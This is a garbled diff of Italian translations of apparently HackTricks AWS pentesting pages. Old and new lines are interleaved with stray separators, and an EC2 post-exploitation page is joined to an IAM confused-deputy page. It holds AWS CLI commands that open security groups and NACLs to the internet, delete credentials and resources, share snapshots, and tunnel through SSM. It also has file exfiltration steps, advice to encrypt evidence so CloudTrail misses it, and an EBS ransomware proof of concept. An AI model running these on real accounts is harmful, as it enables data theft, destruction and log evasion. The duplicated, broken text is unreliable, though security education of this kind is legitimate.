Un attacker potrebbe abusarne per catturare tutto il traffico e ottenere informazioni sensibili:
|
||||
|
||||
Per maggiori informazioni guarda questa pagina:
|
||||
Per maggiori informazioni consulta questa pagina:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copiare un'istanza in esecuzione
|
||||
### Copy Running Instance
|
||||
|
||||
Le istanze di solito contengono qualche tipo di informazione sensibile. Ci sono diversi modi per entrarci (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Tuttavia, un altro modo per verificare cosa contengono è **creare un AMI ed avviare una nuova istanza (anche nel proprio account) da essa**:
|
||||
Le istanze solitamente contengono informazioni sensibili. Esistono diversi modi per accedervi (vedi [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Tuttavia, un altro modo per verificare cosa contengono è **creare un AMI e avviare da esso una nuova istanza (anche nel proprio account)**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\
|
||||
If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account:
|
||||
**Snapshots sono backup dei volumi**, che solitamente conterranno **informazioni sensibili**, quindi verificarli dovrebbe rivelare queste informazioni.\
|
||||
Se trovi un **volume senza snapshot** puoi: **Create a snapshot** e eseguire le seguenti azioni oppure semplicemente **mount it in an instance** all'interno dell'account:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. This allows full offline forensics or data theft while leaving the instance networking untouched.
|
||||
Esporta un EC2 AMI direttamente su S3 usando `CreateStoreImageTask` per ottenere un'immagine disco raw senza snapshot sharing. Questo permette forensics offline completi o data theft lasciando intatta la rete dell'instance.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Useful when the victim volume already has Multi-Attach enabled within the same AZ.
|
||||
Attach un volume io1/io2 Multi-Attach a una seconda instance e montalo in sola lettura per siphonare dati live senza snapshots. Utile quando il victim volume ha già Multi-Attach abilitato nella stessa AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Grants quick lateral movement paths without opening public ports.
|
||||
Crea un EC2 Instance Connect Endpoint, autorizza ingress, e inietta ephemeral SSH keys per accedere a instance private tramite un managed tunnel. Fornisce percorsi rapidi per lateral movement senza aprire public ports.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Enables bypassing internal ACLs or SG rules keyed to specific addresses.
|
||||
Move la secondary private IP di un ENI vittima a un ENI controllato dall'attaccante per impersonare trusted hosts che sono allowlisted per IP. Permette di bypassare internal ACLs o SG rules basate su indirizzi specifici.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
|
||||
Reassociate un Elastic IP dall'instance vittima all'attaccante per intercettare inbound traffic o originare connessioni outbound che appaiono provenire da trusted public IPs.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
|
||||
Se una security group rule fa riferimento a una customer-managed prefix list, aggiungere attacker CIDRs alla lista espande silenziosamente l'accesso su tutte le regole SG dipendenti senza modificare lo SG stesso.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,15 +106,41 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
|
||||
Crea gateway o interface VPC endpoints per recuperare outbound access da subnet isolate. Sfruttare AWS-managed private links bypassa i controlli IGW/NAT mancanti per data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Un attaccante con il permesso `ec2:AuthorizeSecurityGroupIngress` può aggiungere inbound rules ai security groups (per esempio, permettendo tcp:80 da 0.0.0.0/0), esponendo così servizi interni alla public Internet o ad altre reti non autorizzate.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Un attaccante con i permessi ec2:ReplaceNetworkAclEntry (o simili) può modificare i Network ACLs (NACLs) di una subnet per renderli molto permissivi — per esempio consentendo 0.0.0.0/0 su porte critiche — esponendo l'intero intervallo della subnet a Internet o a segmenti di rete non autorizzati. A differenza delle Security Groups, che si applicano per istanza, i NACLs si applicano a livello di subnet, quindi modificare un NACL restrittivo può avere un raggio d'azione molto più ampio abilitando l'accesso a molti più host.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
--rule-number 100 \
|
||||
--protocol <PROTOCOL> \
|
||||
--rule-action allow \
|
||||
--egress <true|false> \
|
||||
--cidr-block 0.0.0.0/0
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Un attaccante con permessi ec2:Delete* e iam:Remove* può eliminare risorse e configurazioni critiche dell'infrastruttura — ad esempio key pairs, launch templates/versions, AMIs/snapshots, volumes o attachments, security groups o rules, ENIs/network endpoints, route tables, gateways, o managed endpoints. Questo può causare interruzione immediata del servizio, perdita di dati e perdita di prove forensi.
|
||||
|
||||
One example is deleting a security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
|
||||
Indirizza VPC Flow Logs verso un S3 bucket controllato dall'attaccante per raccogliere continuamente metadata di rete (source/destination, ports) fuori dall'account vittima per ricognizione a lungo termine.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -126,26 +152,26 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- You have no access to AWS DNS logs.
|
||||
- **VPC Flow Logs non registreranno questo**.
|
||||
- Non hai accesso ai log DNS di AWS.
|
||||
- Disable this by setting "enableDnsSupport" to false with:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.
|
||||
Un attaccante potrebbe chiamare gli endpoint API di un account da lui controllato. CloudTrail registrerà queste chiamate e l'attaccante potrà vedere the exfiltrate data nei log di CloudTrail.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
You could get further access to network services by opening ports like this:
|
||||
Potresti ottenere ulteriore accesso ai servizi di rete aprendo porte in questo modo:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
### Privesc a ECS
|
||||
|
||||
È possibile avviare un EC2 instance e registrarlo per l'esecuzione di ECS instances, per poi sottrarre i dati di queste ECS instances.
|
||||
È possibile eseguire un'istanza EC2 e registrarla per essere utilizzata per eseguire istanze ECS e poi rubare i dati delle istanze ECS.
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
@@ -159,8 +185,8 @@ Permessi richiesti:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico, che può essere abusato per pivotare da istanze EC2 che non hanno accesso di rete a causa di Security Groups o NACLs.
|
||||
Uno degli scenari in cui questo è utile è pivotare da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
|
||||
Oltre all'esecuzione di comandi, SSM permette il tunneling del traffico, che può essere abusato per pivotare da istanze EC2 che non hanno accesso di rete a causa di Security Groups o NACLs.
|
||||
Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
|
||||
|
||||
> Per avviare una sessione è necessario avere installato il SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
@@ -169,28 +195,28 @@ Uno degli scenari in cui questo è utile è pivotare da un [Bastion Host](https:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Ottieni le credenziali temporanee AWS del Bastion EC2 con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
3. Recupera le credenziali temporanee del Bastion EC2 AWS con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Trasferisci le credenziali sulla tua macchina nel file `$HOME/.aws/credentials` come profilo `[bastion-ec2]`
|
||||
5. Accedi a EKS come il Bastion EC2:
|
||||
5. Accedi a EKS come Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Aggiorna il campo `server` nel file `$HOME/.kube/config` in modo che punti a `https://localhost`
|
||||
6. Aggiorna il campo `server` nel file `$HOME/.kube/config` per puntare a `https://localhost`
|
||||
7. Crea un tunnel SSM come segue:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Il traffico dello strumento `kubectl` viene ora inoltrato attraverso il tunnel SSM tramite il Bastion EC2 e puoi accedere al cluster EKS privato dalla tua macchina eseguendo:
|
||||
8. Il traffico dello strumento `kubectl` viene ora instradato attraverso il tunnel SSM tramite il Bastion EC2 e puoi accedere al cluster EKS privato dalla tua macchina eseguendo:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify ` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelizzato attraverso il tunnel sicuro di AWS SSM, sei protetto da qualsiasi tipo di attacco MitM.
|
||||
Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify ` (o il suo equivalente negli strumenti di audit K8s). Visto che il traffico è instradato attraverso il sicuro AWS SSM tunnel, sei protetto da qualsiasi tipo di attacco MitM.
|
||||
|
||||
Infine, questa tecnica non è specifica per l'attacco ai private EKS clusters. Puoi impostare domini e porte arbitrari per pivotare verso qualsiasi altro AWS service o un'applicazione custom.
|
||||
Infine, questa tecnica non è specifica per l'attacco a cluster EKS privati. Puoi impostare domini e porte arbitrari per pivotare verso qualsiasi altro servizio AWS o un'applicazione personalizzata.
|
||||
|
||||
---
|
||||
|
||||
#### Inoltro porta rapido Locale ↔️ Remoto (AWS-StartPortForwardingSession)
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
Se hai bisogno solo di inoltrare **una porta TCP dall'istanza EC2 al tuo host locale** puoi usare il documento SSM `AWS-StartPortForwardingSession` (nessun parametro remote host richiesto):
|
||||
```bash
|
||||
@@ -199,24 +225,24 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Il comando stabilisce un tunnel bidirezionale tra la tua postazione di lavoro (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **senza aprire alcuna regola inbound del Security-Group**.
|
||||
Il comando stabilisce un tunnel bidirezionale tra la tua workstation (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **without opening any inbound Security-Group rules**.
|
||||
|
||||
Casi d'uso comuni:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Sull'istanza, avvia un rapido server HTTP che punti alla directory che vuoi esfiltrare:
|
||||
1. Sull'istanza avvia un rapido HTTP server che punti alla directory che vuoi exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Dalla tua postazione di lavoro recupera i file attraverso il tunnel SSM:
|
||||
2. Dalla tua workstation recupera i file attraverso il tunnel SSM:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Accesso ad applicazioni web interne (es. Nessus)**
|
||||
* **Accessing internal web applications (e.g. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -224,7 +250,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Suggerimento: comprimi e cifra le prove prima di esfiltrarle in modo che CloudTrail non registri il contenuto in chiaro:
|
||||
Suggerimento: Comprimi e cripta le prove prima di exfiltrating, così CloudTrail non registri il contenuto in chiaro:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -235,7 +261,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### Cerca informazioni sensibili in AMIs pubbliche e private
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMIs) pubbliche o private**. Automatizza il processo di avvio di istanze dalle AMIs target, il montaggio dei loro volumi e la scansione alla ricerca di potenziali secrets o dati sensibili.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMIs) pubbliche o private**. Automatizza il processo di avvio di istanze dalle AMIs di destinazione, il montaggio dei loro volumi e la scansione alla ricerca di eventuali secrets o dati sensibili.
|
||||
|
||||
### Condividi EBS Snapshot
|
||||
```bash
|
||||
@@ -243,9 +269,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Una prova di concetto simile alla dimostrazione di Ransomware presente nelle note di post-exploitation S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, vista la facilità con cui può essere usato per cifrare vari servizi AWS.
|
||||
Una proof of concept simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation su S3. KMS dovrebbe essere ribattezzato RMS per Ransomware Management Service, vista la facilità con cui può essere usato per criptare vari servizi AWS.
|
||||
|
||||
Prima, da un account AWS 'attacker', crea una customer managed key in KMS. Per questo esempio lasceremo che AWS gestisca i dati della chiave per noi, ma in uno scenario realistico un malicious actor manterrebbe i dati della chiave al di fuori del controllo di AWS. Modifica la key policy per consentire a qualsiasi AWS account Principal di usare la chiave. Per questa key policy, il nome dell'account era 'AttackSim' e la regola della policy che permette l'accesso totale si chiama 'Outside Encryption'
|
||||
Prima, da un account AWS 'attacker', crea una customer managed key in KMS. In questo esempio lasceremo che AWS gestisca i dati della chiave per noi, ma in uno scenario realistico un attore malevolo conserverebbe i dati della chiave al di fuori del controllo di AWS. Modifica la key policy per permettere a qualsiasi AWS account Principal di usare la chiave. In questa key policy, il nome dell'account era 'AttackSim' e la regola di policy che consente l'accesso totale si chiama 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -337,7 +363,7 @@ Prima, da un account AWS 'attacker', crea una customer managed key in KMS. Per q
|
||||
]
|
||||
}
|
||||
```
|
||||
La regola della key policy deve avere abilitato quanto segue per permettere l'uso della stessa per cifrare un volume EBS:
|
||||
La key policy deve avere abilitati i seguenti permessi per poter essere usata per criptare un volume EBS:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -345,17 +371,17 @@ La regola della key policy deve avere abilitato quanto segue per permettere l'us
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
Ora che abbiamo la key pubblicamente accessibile da usare. Possiamo usare un account 'victim' che ha alcune istanze EC2 avviate con volumi EBS non criptati collegati. I volumi EBS di questo account 'victim' sono il nostro obiettivo per la cifratura; questo attacco si svolge nell'ipotesi di una compromissione di un account AWS con privilegi elevati.
|
||||
|
||||
 
|
||||
|
||||
Simile all'esempio di ransomware su S3. Questo attacco creerà copie dei volumi EBS allegati usando snapshot, userà la key pubblicamente disponibile dall'account 'attacker' per cifrare i nuovi volumi EBS, quindi scollegherà i volumi EBS originali dalle istanze EC2 e li eliminerà, e infine cancellerà gli snapshot usati per creare i nuovi volumi EBS cifrati. 
|
||||
Simile all'esempio di S3 ransomware. Questo attacco creerà copie dei volumi EBS collegati usando snapshot, userà la key pubblicamente disponibile dell'account 'attacker' per cifrare i nuovi volumi EBS, poi staccherà i volumi EBS originali dalle istanze EC2 e li eliminerà, e infine eliminerà gli snapshot usati per creare i nuovi volumi EBS criptati. 
|
||||
|
||||
Il risultato è che nell'account rimarranno disponibili solo volumi EBS cifrati.
|
||||
Il risultato è che nell'account rimarranno disponibili solo volumi EBS criptati.
|
||||
|
||||
|
||||
|
||||
Vale inoltre la pena notare che lo script ha arrestato le istanze EC2 per scollegare e eliminare i volumi EBS originali. I volumi originali non cifrati sono ora spariti.
|
||||
Vale anche la pena notare che lo script ha fermato le istanze EC2 per staccare ed eliminare i volumi EBS originali. I volumi originali non criptati sono ormai scomparsi.
|
||||
|
||||
|
||||
|
||||
@@ -430,15 +456,15 @@ Successivamente, torna alla key policy nell'account 'attacker' e rimuovi la rego
|
||||
]
|
||||
}
|
||||
```
|
||||
Attendi un momento che la nuova key policy impostata si propaghi. Poi torna all'account 'victim' e prova ad allegare uno dei nuovi volumi EBS criptati. Vedrai che puoi allegare il volume.
|
||||
Attendi un momento perché la newly set key policy si propaghi. Poi torna all'account 'victim' e prova ad allegare uno dei volumi EBS appena crittografati. Vedrai che puoi allegare il volume.
|
||||
|
||||
 
|
||||
|
||||
Ma quando tenti effettivamente di avviare di nuovo l'istanza EC2 con il volume EBS criptato, fallirà e passerà dallo stato 'pending' a quello 'stopped' all'infinito, poiché il volume EBS allegato non può essere decriptato usando la key dato che la key policy non lo permette più.
|
||||
Ma quando provi effettivamente ad avviare di nuovo l'istanza EC2 con il volume EBS crittografato, l'operazione fallirà e passerà dallo stato 'pending' allo stato 'stopped' per sempre, dato che il volume EBS allegato non può essere decrittografato usando la key perché la key policy non lo permette più.
|
||||
|
||||
 
|
||||
|
||||
Questo è lo script python utilizzato. Prende le AWS creds per un account 'victim' e un valore ARN AWS pubblicamente disponibile per la key da usare per la cifratura. Lo script creerà copie criptate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS bersaglio, poi arresterà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine cancellerà tutti gli snapshots utilizzati durante il processo. Questo lascerà solo volumi EBS criptati nell'account 'victim' bersaglio. USARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E CANCELLA TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli usando la KMS key utilizzata e ripristinarli al loro stato originale tramite snapshot, ma volevo farti sapere che, alla fine, si tratta di un ransomware PoC.
|
||||
Questo è lo script python usato. Prende AWS creds per un account 'victim' e un valore ARN AWS pubblicamente disponibile per la key da usare per la crittografia. Lo script creerà copie crittografate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS target, poi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine eliminerà tutti gli snapshot utilizzati durante il processo. Questo lascerà solo volumi EBS crittografati nell'account 'victim' target. USARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E CANCELLLERÀ TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli usando la KMS key utilizzata e ripristinarli al loro stato originale tramite snapshot, ma ci tengo ad avvisarti che in fin dei conti si tratta di una ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
|
||||
@@ -12,13 +12,13 @@ Per maggiori informazioni sull'accesso IAM:
|
||||
|
||||
## Confused Deputy Problem
|
||||
|
||||
Se **consenti a un account esterno (A)** di accedere a un **role** nel tuo account, probabilmente avrai **0 visibilità** su **chi possa esattamente accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A) è possibile che **B possa anche accedere al tuo account**.
|
||||
Se **consenti a un account esterno (A)** di accedere a un **ruolo** nel tuo account, probabilmente avrai **0 visibilità** su **chi esattamente può accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A) è possibile che **B possa anche accedere al tuo account**.
|
||||
|
||||
Perciò, quando permetti a un account esterno di accedere a un role nel tuo account è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per **assume the role in your organization**. Poiché **l'account esterno B non conoscerà questa stringa**, anche se ha accesso ad A **non sarà in grado di accedere al tuo role**.
|
||||
Pertanto, quando si permette a un account esterno di accedere a un ruolo nel tuo account è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per poter **assumere il ruolo nella tua organizzazione**. Poiché l'account esterno B **non conoscerà questa stringa**, anche se ha accesso ad A **non sarà in grado di accedere al tuo ruolo**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tuttavia, nota che questo `ExternalId` "segreto" **non è un segreto**, chiunque possa **leggere la IAM assume role policy sarà in grado di vederlo**. Ma fintanto che l'account esterno A lo conosce, e l'account esterno **B non lo conosce**, questo **impedisce a B di abusare di A per accedere al tuo role**.
|
||||
Tuttavia, nota che questo "segreto" `ExternalId` **non è un segreto**, chiunque possa **leggere la policy di assume role IAM sarà in grado di vederlo**. Ma finché l'account esterno A lo conosce, e l'account esterno **B non lo conosce**, esso **impedisce a B di abusare di A per accedere al tuo ruolo**.
|
||||
|
||||
Esempio:
|
||||
```json
|
||||
@@ -39,7 +39,7 @@ Esempio:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Perché un attacker possa sfruttare un confused deputy, dovrà in qualche modo verificare se i principals del current account possono impersonare ruoli in altri account.
|
||||
> Per un attacker, per sfruttare un confused deputy, dovrà in qualche modo verificare se i principals dell'account corrente possono impersonare roles in altri account.
|
||||
|
||||
### Trust inaspettati
|
||||
|
||||
@@ -51,9 +51,9 @@ Esempio:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Questa policy **consente a tutti gli account AWS** di assumere il ruolo.
|
||||
Questa policy **permette a qualsiasi entità AWS** di assumere il ruolo.
|
||||
|
||||
#### Service as principal
|
||||
#### Servizio come principal
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
@@ -64,7 +64,7 @@ Questa policy **consente a tutti gli account AWS** di assumere il ruolo.
|
||||
```
|
||||
Questa policy **consente a qualsiasi account** di configurare il proprio apigateway per chiamare questa Lambda.
|
||||
|
||||
#### S3 come principale
|
||||
#### S3 come principal
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
@@ -73,7 +73,7 @@ Questa policy **consente a qualsiasi account** di configurare il proprio apigate
|
||||
}
|
||||
}
|
||||
```
|
||||
Se un bucket S3 è specificato come principal, poiché i bucket S3 non hanno un Account ID, se tu **hai eliminato il tuo bucket e l'attaccante lo ha creato** nel proprio account, allora potrebbe abusarne.
|
||||
Se a principal viene assegnato un S3 bucket, poiché gli S3 bucket non hanno un Account ID, se hai **eliminato il tuo bucket e l'attaccante lo ha creato** nel proprio account, allora potrebbe abusarne.
|
||||
|
||||
#### Non supportato
|
||||
```json
|
||||
@@ -84,10 +84,10 @@ Se un bucket S3 è specificato come principal, poiché i bucket S3 non hanno un
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Una pratica comune per evitare problemi di Confused Deputy è l'utilizzo di una condizione con `AWS:SourceArn` per verificare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (ad esempio CloudTrail secondo alcune fonti).
|
||||
Un modo comune per evitare i problemi di Confused Deputy è l'uso di una condition con `AWS:SourceArn` per verificare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (come CloudTrail secondo alcune fonti).
|
||||
|
||||
### Cancellazione delle credenziali
|
||||
Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un attore può rimuovere access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates o CloudFront public keys, oppure disassociare ruoli da instance profiles. Tali azioni possono bloccare immediatamente utenti e applicazioni legittimi e causare denial-of-service o perdita di accesso per sistemi che dipendono da quelle credenziali, quindi questi permessi IAM devono essere strettamente limitati e monitorati.
|
||||
### Eliminazione delle credenziali
|
||||
Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un attore può rimuovere access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificati o CloudFront public keys, oppure dissociare ruoli dagli instance profiles. Tali azioni possono bloccare immediatamente utenti e applicazioni legittimi e causare denial-of-service o perdita di accesso per i sistemi che dipendono da quelle credenziali, quindi queste autorizzazioni IAM devono essere strettamente limitate e monitorate.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Eliminazione delle identità
|
||||
Con permessi come `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, o `iam:RemoveUserFromGroup`, un attore può eliminare utenti, ruoli o gruppi — o modificare l'appartenenza ai gruppi — rimuovendo identità e tracce associate. Questo può interrompere immediatamente l'accesso per persone e servizi che dipendono da quelle identità, causando denial-of-service o perdita di accesso, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
|
||||
